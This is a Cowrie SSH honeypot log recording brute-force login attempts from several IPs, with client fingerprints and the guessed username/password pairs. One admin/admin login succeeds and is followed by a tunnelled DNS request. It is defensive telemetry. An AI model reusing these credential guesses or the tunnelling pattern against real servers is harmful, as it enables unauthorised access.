{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:41:25.549074Z","src_ip":"220.247.224.226","session":"d4bc390a9294","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:41:25.775321Z","src_ip":"220.247.224.226","session":"d4bc390a9294","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ts3","password":"test123","message":"login attempt [ts3/test123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:41:26.706756Z","src_ip":"220.247.224.226","session":"d4bc390a9294","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"92.205.57.72","src_port":44832,"dst_ip":"10.17.0.5","dst_port":22,"session":"4fb8c8868433","protocol":"ssh","message":"New connection: 92.205.57.72:44832 (10.17.0.5:22) [session: 4fb8c8868433]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:41:29.455647Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:41:29.458986Z","src_ip":"92.205.57.72","session":"4fb8c8868433","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:41:29.551795Z","src_ip":"92.205.57.72","session":"4fb8c8868433","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"ABC123!@#","message":"login attempt [ubuntu/ABC123!@#] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:41:29.950368Z","src_ip":"92.205.57.72","session":"4fb8c8868433","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:41:31.046064Z","src_ip":"92.205.57.72","session":"4fb8c8868433","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.5","message":"Connection lost after 5.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:41:31.073970Z","src_ip":"220.247.224.226","session":"d4bc390a9294","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"92.205.57.72","src_port":32768,"dst_ip":"10.17.0.5","dst_port":22,"session":"cfbe8c218777","protocol":"ssh","message":"New connection: 92.205.57.72:32768 (10.17.0.5:22) [session: cfbe8c218777]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:42:22.157100Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:42:22.161800Z","src_ip":"92.205.57.72","session":"cfbe8c218777","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:42:22.250953Z","src_ip":"92.205.57.72","session":"cfbe8c218777","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"admin1","message":"login attempt [user/admin1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:42:22.641186Z","src_ip":"92.205.57.72","session":"cfbe8c218777","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:42:23.735549Z","src_ip":"92.205.57.72","session":"cfbe8c218777","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.32.162.145","src_port":34066,"dst_ip":"10.17.0.5","dst_port":22,"session":"bf246349def1","protocol":"ssh","message":"New connection: 193.32.162.145:34066 (10.17.0.5:22) [session: bf246349def1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:42:30.714086Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:42:30.718857Z","src_ip":"193.32.162.145","session":"bf246349def1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:42:30.871799Z","src_ip":"193.32.162.145","session":"bf246349def1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"jito","password":"solana","message":"login attempt [jito/solana] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:42:31.242850Z","src_ip":"193.32.162.145","session":"bf246349def1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:42:32.369135Z","src_ip":"193.32.162.145","session":"bf246349def1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"92.205.57.72","src_port":53680,"dst_ip":"10.17.0.5","dst_port":22,"session":"3c7f31280e5b","protocol":"ssh","message":"New connection: 92.205.57.72:53680 (10.17.0.5:22) [session: 3c7f31280e5b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:43:13.326846Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:43:13.331760Z","src_ip":"92.205.57.72","session":"3c7f31280e5b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:43:13.421413Z","src_ip":"92.205.57.72","session":"3c7f31280e5b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"Aa000000","message":"login attempt [ubuntu/Aa000000] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:43:13.813087Z","src_ip":"92.205.57.72","session":"3c7f31280e5b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:43:14.911044Z","src_ip":"92.205.57.72","session":"3c7f31280e5b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":9036,"dst_ip":"10.17.0.5","dst_port":22,"session":"a80460d307ff","protocol":"ssh","message":"New connection: 87.251.64.176:9036 (10.17.0.5:22) [session: a80460d307ff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:43:23.982895Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:43:23.986890Z","src_ip":"87.251.64.176","session":"a80460d307ff","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:43:24.084693Z","src_ip":"87.251.64.176","session":"a80460d307ff","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:43:24.374225Z","src_ip":"87.251.64.176","session":"a80460d307ff","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:43:24.471941Z","session":"a80460d307ff","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:43:24.570688Z","src_ip":"87.251.64.176","session":"a80460d307ff","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:43:24.670157Z","src_ip":"87.251.64.176","session":"a80460d307ff","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"92.205.57.72","src_port":48092,"dst_ip":"10.17.0.5","dst_port":22,"session":"bcdf8c8e6df0","protocol":"ssh","message":"New connection: 92.205.57.72:48092 (10.17.0.5:22) [session: bcdf8c8e6df0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:44:01.192301Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:44:01.198973Z","src_ip":"92.205.57.72","session":"bcdf8c8e6df0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:44:01.292895Z","src_ip":"92.205.57.72","session":"bcdf8c8e6df0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"root321","message":"login attempt [ubuntu/root321] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:44:01.694979Z","src_ip":"92.205.57.72","session":"bcdf8c8e6df0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:44:02.790875Z","src_ip":"92.205.57.72","session":"bcdf8c8e6df0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.32.162.145","src_port":52812,"dst_ip":"10.17.0.5","dst_port":22,"session":"f614f03e3f77","protocol":"ssh","message":"New connection: 193.32.162.145:52812 (10.17.0.5:22) [session: f614f03e3f77]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:44:41.663084Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:44:41.669498Z","src_ip":"193.32.162.145","session":"f614f03e3f77","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:44:41.768458Z","src_ip":"193.32.162.145","session":"f614f03e3f77","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"jito","password":"jito","message":"login attempt [jito/jito] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:44:42.194551Z","src_ip":"193.32.162.145","session":"f614f03e3f77","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:44:43.299388Z","src_ip":"193.32.162.145","session":"f614f03e3f77","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"92.205.57.72","src_port":36350,"dst_ip":"10.17.0.5","dst_port":22,"session":"3735f0e788d8","protocol":"ssh","message":"New connection: 92.205.57.72:36350 (10.17.0.5:22) [session: 3735f0e788d8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:44:48.588303Z"}
